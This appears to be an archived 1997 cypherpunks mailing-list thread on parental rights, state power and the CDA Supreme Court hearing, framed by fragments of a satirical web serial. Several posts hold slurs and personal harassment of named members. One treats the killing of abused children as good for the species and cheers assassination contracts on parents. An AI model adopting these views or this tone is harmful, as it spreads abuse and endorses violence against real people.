&quot;Shame on you, talking like that to a thirteen year-old.&quot;
<P>
She laughed in amusement, and he laughed in relief at having been
saved the embarrassment of 'messing' himself in the bar, a public
place, and he was happy to sit and sip his beer for a time, dreading
any further conversation.<BR>
<P>
Finally, she spoke, once again.<BR>
&quot;You might as well go home, now. There's nothing for you
here.
<P>
&quot;All the dangers that Bubba spoke about are <I>true</I>,
I think you know that, now. But the Circle of Eunuchs is just
a myth, there's nobody doing anything about it. Nobody <I>can</I>
do anything about it. It's only a matter of time, now.&quot;<BR>
Alexis's face took on a sad, forlorn look, and she returned once
again to brushing off the small balls of wool from the nape of
his hairy neck, leaning down to kiss Bubba lightly on the cheek,
with genuine love, ignoring Jonathan, once again.
<P>
After a few moments, he rose somberly and made his way to the
door. He knew that he, too, would be sad and forlorn tonight.
But he also knew that she was right-he <I>would</I> be thinking
of her tonight while he was <I>'doing'</I> himself.
<P>
He smiled, in spite of himself.
<HR>
<P>
<FONT SIZE=2>Chapter 3 - Channel Revolution / Chapter 4 - Alexis</FONT>
<HR>
</BODY>
</HTML>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 19 Mar 1997 10:11:25 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <gcmT4D3w165w@bwalk.dm.com>
Message-ID: <199703191217.MAA09556@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <gcmT4D3w165w@bwalk.dm.com>, on 03/19/97 at 11:01 AM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>What market force or natural selection discourages "abuse"?

Well before the STATIST took over there was an unwritten Parent/Child
contract. The parrent would raise and care for their children and in old
age the parents would be taken care of by their children.

This "contract" or "bond" has been distroyed by a multi-pronged attack by
the STATE.

- -- The STATE has usurped the power of the parents to raise their chlidren.
- -- The STATE has taken the responsibility of the children to care for their
parents in old age. -- The STATE has actively distroyed the two parent
household with Welfair programs & making it "politicaly incorrect" for a
woman to be a housewife not to mention thier EEO policies.

It should be intresting to note that no one ever mentions the economic
affect of doubling the number of workers compeeting for the same jobs by
having women entering the workforce. Basic economics show that this drives
down the rate of pay of all workers (suply & demand) making it quite hard
for a man to support his family with 1 job enabling his wife to stay at
home and raise their children. So even where you still have a two parent
household the STATE winds up rasing the children because both parents are
required to work just to survive.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 13:38:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
Message-ID: <s8VT4D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


camcc@abraxis.com (Alec) writes:

> *|>Parents most certainly are not the only ones to determine the welfare of
> *|>their children; society has assumed a significant role and typically moves
> *|>to protect the child from the parents or from the _beliefs_ of the
> *|>parents.
> 
> *|Just because the government subverts the RIGHTS of the parents does not
> *|mean that the parents do not have those rights.
> *|
> *|A parent is the sole person who has a *RIGHT* to determine the welfair of
> *|their childern. You do not have that right, I do not have that right, the
> *|government does not have that right. To beleive that the government should
> *|"protect" a child from the beliefs of its parents is truly
> *|FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
> *|
> *|I as a parent have the sole right to determine what religon to teach my
> *|children, how to rase my children, how to teach my children, how to reward
> *|my children and how to punish my children PERIOD.
> *|
> *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> *|as they are quite out of place here.
> *|
> *|"When the wants of society override the rights of the individule that
> *|society must die" -- whgiii
> 
> Dear whgiii,
> 
> Children are, also, possessors of certain inalienable rights. 
> 
> Parents have certain _privileges_ in regard to their children which others do
> not have; if the parents abuse the _rights_ which their children possess
> solely by  virtue of being humans and citizens, the state is obligated to
> intervene on behalf of the child--a citizen. In just the same way that if I
> were to threaten or batter you (or visa versa) the state would interpose
> itself to protect me.
> 
> _With reservations_ I grant you parents have _great_ leeway in the areas of
> religious training, education, medical care, general child rearing
> (punishment/reward). When parents overstep either by action or neglect,
> society intervenes.
> 
> I _understand_ your point that in an ideal society the government would not
> intervene. At this point, though, we don't seem to be there.
> 
> Alec

Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
fail to train them), then the offsprings won't reproduce and the parent's
genes won't perpetuate.  Do we really need a more coersive system of
punishing "child abuse"?

> 
> What's the point of the following? Discourse is healthy in an open system.
> Why the exclusion?
> 
> *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> *|as they are quite out of place here.
> 

I'm not sure how crypto-relevant this thread is, but I'm reading it 
with great interest.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 13:38:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703191217.MAA09556@mailhub.amaranth.com>
Message-ID: <o5wT4D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <gcmT4D3w165w@bwalk.dm.com>, on 03/19/97 at 11:01 AM,
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >What market force or natural selection discourages "abuse"?
> 
> Well before the STATIST took over there was an unwritten Parent/Child
> contract. The parrent would raise and care for their children and in old
> age the parents would be taken care of by their children.
> 
> This "contract" or "bond" has been distroyed by a multi-pronged attack by
> the STATE.
> 
> - -- The STATE has usurped the power of the parents to raise their chlidren.
> - -- The STATE has taken the responsibility of the children to care for their
> parents in old age. -- The STATE has actively distroyed the two parent
> household with Welfair programs & making it "politicaly incorrect" for a
> woman to be a housewife not to mention thier EEO policies.
> 
> It should be intresting to note that no one ever mentions the economic
> affect of doubling the number of workers compeeting for the same jobs by
> having women entering the workforce. Basic economics show that this drives
> down the rate of pay of all workers (suply & demand) making it quite hard
> for a man to support his family with 1 job enabling his wife to stay at
> home and raise their children. So even where you still have a two parent
> household the STATE winds up rasing the children because both parents are
> required to work just to survive.

That's a very interesting observation. However as far as the children's
responsibility to care for the aged parents, I'm not sure so if historically
it's so clear cut. In most nomadic cultures, the aged and the infirm were
just abandoned (left to die). There's plenty of evidence that in Mongolia and
Cenral Asia when a parent became too old to care for himself, he would be
left as the rest of the group moved on to new pastures - as late as 20th
century when the productivity was high enough for them to care for the 
elderly. Does the tradition to kill of the elderly hurt the society? Perhaps -
the elderly carry on the society's identity (folklore) and practical knowldge
(what's behind that mountain, how does one tie a stone axe to the stick). 
For whatever reason, in most argicultural societies the elderly were not killed,
but accordded respect (even if they weren't your parents). But in the last
50 years the medical technology has reached the heights never before seen in
the history of mankind - we can spend a lot of resources to keep an old fart
going for 30 or 40 years after he's stopped doing anything useful. If the STATE
hadn't stepped in with Medicare in the US and similar programs in the socialist
states in Europe, we'd see the papers filled with sob stories about an old
fart who _could_ be kept alive in a semi-vegetable state at the cost of
$200K/year and whose cold-hearted children refuse to remortgage their
houeses to pay the doctors to do that. The US wastes unbelievable resources
on extending the lives of people who are basically dead. That's one of the
anchors that will eventually pull it under.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Mar 1997 15:46:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Report from Supreme Court on CDA arguments
Message-ID: <v03007814af562ae68de2@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**************

http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html

The Netly News Network
@The Supreme Court
March 19, 1997

By Declan McCullagh (declan@well.com)
   Noah Robischon (noah@pathfinder.com)

    U.S. Supreme Court justices pummeled
government proponents of the Communications
Decency Act this morning during a review of the
law that will set new standards for free speech
in the 21st century.

     The notorious CDA, reviled throughout
cyberspace since the day it was signed by
President Clinton in February 1996, would
criminalize the ill-defined category of
"indecent" communications on the Net. A
Philadelphia federal court struck down the law a
year ago.

     Justice Antonin Scalia called the lawsuit,
brought by the American Civil Liberties Union
against Attorney General Janet Reno, "a
distinctive form of First Amendment argument
unlike others" because it covers an uncharted and
rapidly developing communications medium. "That's
a new case for us," he said.

     Deputy Solicitor General Seth Waxman argued
that the CDA merely established boundaries on the
Net and made it harder for pornographic material
to fall into the hands of minors. He likened the
law to a cyber-zoning ordinance; without it, he
said, the Internet "threatens to give every child
a free pass to get into every adult movie theater
or bookstore in the country."

     But less than a minute after Waxman started,
the justices impatiently plowed into his
presentation. Justice Stephen Breyer demanded:
"Suppose a group of high school students decides
to talk over the Internet and they want to talk
about their sexual experiences. I mean, that's
been known to happen in high school." Would they
"be guilty of a federal crime?"

     Justice Antonin Scalia cut in, joking:
"There's no high school student exemption?"

     "You might find it in the legislative
history, but I do not," Waxman replied.

     For much of the 70-minute hearing, the
discussion swirled around the question of how
netizens could comply with the CDA. Waxman
claimed that the act includes a battery of ways
to protect a person from prosecution -- visitors
to "indecent" web sites would be required to
provide credit-card numbers, for instance. But
Justice Sandra Day O'Connor was unmoved. "How
does that fit in with the use of web sites by
noncommercial users, libraries?" she asked.

     Justice David Souter wondered if the
portions of the act banning the "display" of
indecent materials would imprison parents. "I
take it a parent who allows his computer to be
used by a child viewing indecent material, that
parent would go to prison," he said. When Waxman
demurred, Scalia took up the chase. "No... One of
those offenses is a display offense," he pointed
out. Chastened, Waxman replied, "I see your
point."

     Bruce Ennis, arguing on behalf of the ACLU
and American Library Association coalitions,
contended that the CDA bans speech, even for
adults; is not as effective as blocking software;
and is unconstitutionally vague.

     Justice Scalia, who noted that he uses a
computer, pointed out that technology is rapidly
changing. "So much of your argument is based on
what's currently available," he said to Ennis.
"This technology is changing so quickly. Is it
possible that this statute is unconstitutional
now but could be [constitutional] in four or five
years?" Ennis replied: "Not as it's written."

     During a subsequent press conference, Ennis
added that indeed, the technology is changing,
and is giving parents more control over what
their children do and see online. "Precisely
because the technology is changing, the
government should not be trying to enforce this
law," he said. The ACLU attorneys who joined
Ennis were grinning: the justices appeared to
understand the nature of communications online,
noted that teens have rights, and focused on free
speech, not porn.

     After the hearing, the anti-CDA protestors
who had braved a chill rain to chant "Hey-ho, the
CDA has got to go!" were displaced by a larger,
bullhorn-wielding group of anti-porn advocates.
One sign demanded, "Don't sacrifice my child on
the altar of the First Amendment."

     One of the most vocal protestors was
19-year-old Berkeley student Kenritsu Yamamoto,
who happened to be dressed as a Net cupid,
complete with angel wings and a circuit board
breastplate. He was acting in the Pure Love
Alliance's skit illustrating how pornography and
"Net abduction" harms children. In the skit,
Yamamoto accidentally kills a small child to
demonstrate the dangers of a world without the
CDA. "If a small child buys porn at a 7-11, then
the store can be held accountable," said
Yamamoto. "But on the Net, there is no
accountability."

     A few steps away, Donna Rice Hughes, Enough
Is Enough's communications director, was
explaining why she thought the CDA should be
upheld. "Without the CDA, Larry Flynt can make
his teasers and centerfolds available to kids on
the Internet," she said. Across from Hughes stood
Bruce Taylor, the lawyer who argued against Flynt
in the Supreme Court more than a decade ago. "The
technology is advancing so well that the court is
going to see that people can use this stuff
without violating the law," he said.

     If the Supreme Court disagrees and strikes
down the CDA, some members of Congress have
pledged to try again. Netly cornered Sen. Charles
Grassley (R-Iowa), a stauch supporter of the CDA,
in the basement of the Capitol after the
argument. What would he do? "How to do this I
don't know, but our objective hasn't changed," he
replied. "Some way, somehow, we will have to find
a constitutional way of doing this for kids,
protecting them from porn the way we did for
printed material." Rep. Bob Goodlatte
(R-Virginia) says he hopes the high court "will
give the Congress some very clear guidance."

     But any Congressional tinkering will come
after the Supreme Court decides. A ruling is
expected in early July.

[McCullagh is one of the plaintiffs in the
lawsuit challenging the CDA.]


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 19 Mar 1997 20:58:44 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703191146.LAA09134@mailhub.amaranth.com>
Message-ID: <3330A3B1.241B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:

> (Would you trust Ted Kenedy to rase *YOUR* daughter???).
                                 ^^^^

  This word is not in my dictionary.
  Perhaps the word you were looking for is 'rape'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Mar 1997 21:33:06 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <FiLT4D1w165w@bwalk.dm.com>
Message-ID: <3330CBBC.3951@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> That's a tough one, Dale. On one hand, if the kid is born to psychotic
> parents (or just stupid parents) and the trait is inherited, then it's
> better for the species as a whole if they mistreat the kid and possibly
> kill him. On the other hand the mistreatment may be due to the parent's
> environment and not be an inherited trait - that it's not the kid's fault,
> just bad luck.
> or, u.s. parents
> who indoctrinate their children with fables about "god"). Perhaps Jim Bell's
> assassination politics is the answer - you can abuse your children by commisis
> (circumcizing an infant, lying to them about "god" and Santa Claus) or omission
> (denying medical care or education) but you're running the risk of the kids
> growing up and taking out a contract on you. Cool.

Good points all.  I'd add that since society and standards are
evolving, and the state's negative influences are gaining along
with the positive ones, a goal of keeping the state at bay is a
good one to pursue.  One issue that concerns me, though, is the
kids' access to their own redresses. There was the kid who "divorced"
his parents, and probably other examples where kids have brought
third parties (other than government) between them and their parents.

I think this sort of thing has merit in some cases, but would likely
be exploited by Hillary types for bad.  If kids can (or will) have
more access to grievance-intermediaries, how can that be controlled,
just enough so it doesn't get out of hand (or has letting the genie
out of the bottle already lost the case for future parents)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 20:41:35 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Cocksucker John Gilmore attempts to rewrite history again
Message-ID: <B0Fu4D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I've been reading a thread in the Usenet newsgroups alt.cypherpunks and
comp.org.eff.talk. EFF, you may recall, is Cocksucker John Gilmore's setup,
and a pair of Gilmore/EFF's stooges - llurch@quixote.stanford.edu (Rich
Graves <rcgraves@disposable.com>) and sethf@athena.mit.edu (Seth
Finkelstein) - have been posting lies in an effort to rewrite the recent
events which have totally destroyed Cocksucker's reputation on the net.

Rich Graves wrote in article <5gl63i$4eu@quixote.stanford.edu>:

>comparing me to Vulis doesn't work, I don't think. He'd have
>mailbombed the list subscribers at the drop of a hat; and in
>the case of cypherpunks, he and GruBoursy did, to such an
>extent that the list had to move from toad.com to cyberpass.net.
>I'm sure I've disappointed some people by doing nothing of the
>kind. Doesn't stop Seth from saying I'm obsessed, of course.

This is a lie. I haven't mailbombed cypherpunks. The list moved from
toad.com to multiple sites because the readers no longer trusted Gilmore to
host the list. In article <5gkfag$36o@quixote.stanford.edu> he also wrote:

>>In any case, I personally would not ever absolutely reject posts
>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>their posts were absolute junk.  (I've been in such situations---try
>>moderating an biological evolution newsgroup and fend of all the
>>creationists.)
>
>You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
>
>http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
>
>|Timmy May has tons of dandruff (and dried up semen) in his beard.
>|Is he Jewish???
>|
>|---
>|
>|Dr.Dimitri Vulis KOTM
>|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

Rich is lying...

>Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
>and with the stated intention of disrupting the list. That's called a
>denial of service attack.

More lies. I haven't posted megabytes of Serdar Argic materials, and I have
repeatedly stated that it is NOT my intention to disrupt the mailing list.

>While the cypherpunks move from toad.com to cyberpass.net was far from
>ideal, it worked reasonably well because the list was aware of what was
>happening.

Is that why John Gilmore is sending his minions to post lies and to
confuse the readers about what was happening?

In response, sethf@athena.mit.edu (Seth Finkelstein) further wrote
in article <5gmnuj$1ha@senator-bedfellow.MIT.EDU>:

>>>In any case, I personally would not ever absolutely reject posts
>>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>>their posts were absolute junk.  (I've been in such situations---try
>
>	Yes, Ram, I know you'd likely handle such a situation differently.
>But as I keep saying, on a human level, I just can't work up any
>criticism for Declan for not wanting to deal in any way shape or
>form with a person who so frequently mudslings and smears him so much.

Again, this is not true. I disagree with many of the things Declan says, but
I'm not smearing him and not slinging mud at him. I'm also not aware of
having being banned from any forum Declan moderates, whatever that is.

Seth further has the audacity to praise John Gilmore for showing the
"patience of a saint":

>	It wasn't up to Vulis level, absolutely. But I think taking
>the junk from Vulis showed the patience of a saint.

This is actually very funny.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 19 Mar 1997 20:59:42 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <s8VT4D2w165w@bwalk.dm.com>
Message-ID: <3330B8E7.101F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> > What's the point of the following? Discourse is healthy in an open system.
> > Why the exclusion?
> >
> > *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> > *|as they are quite out of place here.
> >
> 
> I'm not sure how crypto-relevant this thread is, but I'm reading it
> with great interest.

  I am also following it with interest, since the issue of the 'rights'
of children, versus the 'need' for the STATE to 'protect' them, lies
very close to the heart of the issues surrounding strong crypto.

  The problem I see with the government's use of 'extreme' examples to
illustrate the need for total access to private communications is that
the government has seldom proven worthy of the trust that must be placed
in them in order for them to follow through on their claims to only want
to use their increased power against 'great evils'.
  For every decreed 'target' of fascist legislation, there always seem
to be hundreds, or thousands, of average citizens subjected to abuse
by those empowered to wield these increased powers.

  We have a government system which turns loose child-molesters and 
murderers after serving short portions of their sentences so that there
is more room for the kids who got caught smoking a joint, and for
grandmothers who put money in parking meters.
  The issues of private versus government rights and responsibilities
are moot, for the most part, as long as we continue to have government
for the sake of government, with increased government power and control
being touted as the 'answer' to all of our ills.
  The only true alternative for those caught in the midst of madness is
to try to step to the side, as much as possible. One's first priority
should be to try to keep from personally being run over by the runaway
train and, secondly, if they are of a mind, to do what they can to aide
others in stepping off of the tracks, as well.

  The CypherPunks are a diverse group, with a plethora of individual
interests, and differing views as to how promotion of privacy and 
freedom can best be accomplished, but most share the common trait
of doing 'something', of whatever magnitude and effectiveness, to
debate and act on matters which are of import in the issues surrounding
privacy and freedom.
  The fact that those who disagree with me are all idiots and assholes
still does not negate the fact that they are at least taking a stance
on these important issues, in their own sick, twisted, misguided way.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 19 Mar 1997 21:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: WebWorld 3-4
Message-ID: <199703200525.AAA17583@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


William Ono wrote:
> 
> Toto, you're being careless again.

  Moi?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 19 Mar 1997 23:42:08 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Secure checksums
In-Reply-To: <199703160723.CAA22778@dhp.com>
Message-ID: <Pine.A41.3.95.970320003942.40812A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Mar 1997, lucifer Anonymous Remailer wrote:

Pill time Vulis.

> There's a rumor that Tim May sells his dead relatives as 
> fertilizer as they constitute the best shit in California.
> 
>            \|||///
>             ~|||//
>        ____ .)  // Tim May
>       (____    @ /
>            \    \
>             ) /\ \
>             \/ (_
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 19 Mar 1997 23:39:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <88CE23A0B727D0118BB000805FD47524010C2001@RED-81-MSG.dns.microsoft.com>
Message-ID: <3330E966.3028@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> Technology is a display of the heights of human creativity and
> inventiveness.  The end-users are often a display of the depths, and a
> presentation of the fact that even though endowed with intelligence and
> inalienable rights, an  individual must participate in the process of
> their own existence, investing personal effort into determining its
> quality or else suffering the consequences of mental stagnation and &
> psychological degeneracy.

"an  individual must participate in the process of their own existence"

  You have perceptively pinpointed the major downfall of TV as a medium
which has a potential capacity to expand the horizons of those whose
lives it influences.
  The fact that it indeed takes little "personal effort" to
'participate'
in the flow of information coming from the medium leaves the viewer open
to external manipulation of what they come to see as 'their' thoughts,
'their' emotions, and 'their' views.
  Once government experienced the 'runaway train' of Vietnam
war-coverage,
which exposed the true power of free access to information being a nadir
point of vulnerability to the powers-that-be, then they adjusted their
approach to media/information accordingly. Operation Desert Storm is a
prime example of this. They now herd broadcast media into their pens
and count on them to bring the rest of the populace into the fold.

  The ascencion of WebTV, or whatever form the new interactive media
takes, will remain a battleground for both government and corporate
interests, with individuals and various groups/factions of individuals
struggling to force the main players into maintaining some form of
options for those who genuinely wish to preserve their privacy and
freedom, including freedom from being spoon-fed their reality by
the major-players.
  If the future InterNet/WWW/TV configuration is allowed to become
nothing more than another pawn in the designs of the rich and 
powerful, then the best that mankind, as a whole, can hope for, is
to become 'interactive sheep'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Mar 1997 23:19:19 -0800 (PST)
To: dcsb@ai.mit.edu,       e$@thumper.vmeng.com
Subject: key revocation
Message-ID: <v03020921af5693c8f4d2@[204.179.136.178]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I'm revoking my old key, and creating a new, bigger one. 

Yes, there's a story behind it, and it's a dumb one, and I'll tell it later.

Cheers,
Bob Hettinga

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Version: 2.6.2

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 20 Mar 1997 01:50:59 -0800 (PST)
To: Igor Chudov <ichudov@galstar.com>
Subject: Re: (fwd) CarlMStarrsimulationExperiment
In-Reply-To: <199703160038.SAA17546@galaxy.galstar.com>
Message-ID: <33310693.329C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov wrote:
 
> KIBO RULES!!! CLONING MADE EASY!!!

Igor,
  If we merge your experiments with those of the sheep cloner, then I
think we could start a 1-900-number HotLine for lonely ranchers, as 
well as an pay-per-minute IRC forum with pointers to graphic animal-sex
pictures and the Rubber Boot Home Shopping Network.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 20 Mar 1997 01:52:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 5-6
Message-ID: <33310879.3A4@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Unitary Oath


The 'Keyholders' are assholes, and Schultz is King
of the Assholes. My first day here he made a point of ridiculing
me in front of the other inmates, making sure they all knew I
was a 'Net'er Nut', thus ensuring my place as the dregs of the
dregs.

Even the craziest of the inmates 'know' that I can't
really be a Net'er. The InterNet Government doesn't have a nuthouse,
and they certainly wouldn't allow one of their own to suffer the
denigration of being interred in another Government's nuthouse.
It just isn't done.

I don't know how many years it might take for my
writings to be discovered, if ever, so perhaps I should explain
the way things work in the year 149 AC (After Cable).

The world is no longer divided geographically, as
it was during my youth. It's divided by Channels. Each of us is
a citizen of one of the Channel Governments, regardless of the
location of our own particular physical existence.
Many of the younger people probably have no way of understanding
the depth of change since the BC era, having grown up in WebWorld
and never knowing anything different. And by the time this humble
attempt at recording the history of my time is read the world
may have changed again, to a form and structure of society that
I cannot at this time comprehend.

During the time of my youth I read and studied history
in terms of philosophers named Plato, Socrates, McLuhan and Chaum.
They were, although some were alleged to have lived a hundred,
or hundreds, of years before my own birth, considered to be historically
'real' and not just myths. They lived in eras described as many
years BC (which in my time meant not, Before Channel, but Before
Christ). Christ was another historical figure, but one who was
less recognized as being historically 'real' as opposed to being
a 'mythical' figure.
Actually, at the time of my youth it was socially unacceptable
to deny the real existence of Jesus and his place in history,
but by the time I had reached middle-age it was socially acceptable
to debate his existence as historically 'real' or as a 'mythical
archetype' who had never actually physically existed. Even later,
it became socially unacceptable for one to express any belief
in there mere possibility of his having ever been anything but
a mythical figure.

But I'm getting away from my point.

Perhaps I am explaining this badly but, although
you may find this hard to believe, during my youth TV was not
considered to be 'Real', as it is today. No, seriously. We had
different Channels, but they all espoused basically the same views,
and TV was considered 'entertainment', not as a "reflection
of Reality" as we currently know it today.

I can see you rolling your eyes again. "Sure,"
you're saying, "you're sane and 'we' are the ones who are
crazy. Yes, you are in Nuthouse Number Nine because of a Global
Conspiracy-not because you're a fucking 'yo-yo'."

I know how I must sound to you, but everything I
say is true, I swear it on the Sacred Grave of Jim Baker, the
Patron Saint of the Divine Tithe Spiritual Channel.

Even today, serious students of history confirm the
Before Cable era as a time when my generation truly believed in
and followed the dictates of societies and governments based on
geographical, racial and religious paradigms. 
The history books refer to the people of this age as 'savages'
who were ignorant of the Reality of the Divine Illumination that
began to germinate in the First Great TV Era, and which began
to blossom in the Second. They speak of the ignorant resistance
of the 'Book Learners' who clung stubbornly to their outdated
ways, struggling savagely against the birth of the New Reality,
clinging to geographical cliques, and resisting the group mindset
of the Channel that evolution itself was spurring them towards.

But I was there-at the receding of the old era and
the dawn of the new. And I tell you unequivocally that we were
as intellectually certain and sure of our beliefs, our governments,
our cultures, our religions, our societies and our 'reality' as
I am sure that you are today of whatever societal or government
system that reigns during your lifetime.

I was born shortly after the Genesis of TeleVision.
We were told, and honestly believed, that it was an 'invention',
something 'created' by man, and not the other way around.
We still revered 'Gods' like Jehovah, Jesus, Mohammed, Buddha
and Krishna. To deny the Unitary Oath that "TV Is Real"
was not even considered blasphemous during that era. As a matter
of fact, at that point in time the Unitary Oath was considered
ridiculous and those professing it were deemed hardly worthy of
scorn, much less punishment.
We had Satan, the Devil, who was considered the opponent of God,
or Jehovah. The Evil One and Gomez, as well as Cron and the rest
of the Dark Allies, were considered fairy tales that were made
up by the beguiled to frighten the witless.

Yes, yes, I know. You think me a blathering old fool
who belongs in a Museum of Antiquity, next to the automobiles
which mythology tells us were powered by the decaying remains
of great mystical beasts called 'dinosaurs'.
But I was there. I was there during the time of the Great Change,
when The First Great TV Era gave way to the Computer Era, which
itself rapidly succumbed to the Second Great Age of WebTV.

I was there. I saw it all, I remember it all, and
I am not 'mad'. I am not...I am not...I am not.


Breasts


Bubba awoke from his 'nap' the minute that the young man was gone.

"Well, you certainly seemed to take more of a shine to this
Jonathan fellow than to most of the other young men who come around."

"No," Alexis responded casually, "it's just that
he wore his pants so low that I had a lot of trouble getting his
wallet." She handed it to Bubba under the table and he slipped
it into an inner pocket of his robe.
"Besides, I think I'm in love with the Cowboy."

"Oh,?", Bubba feigned surprise, "Are you telling
me that my closest and dearest friend is also my main rival in
my pursuit of your affections?"

"Bubba, you know that I'm 'too much woman' for just one man.",
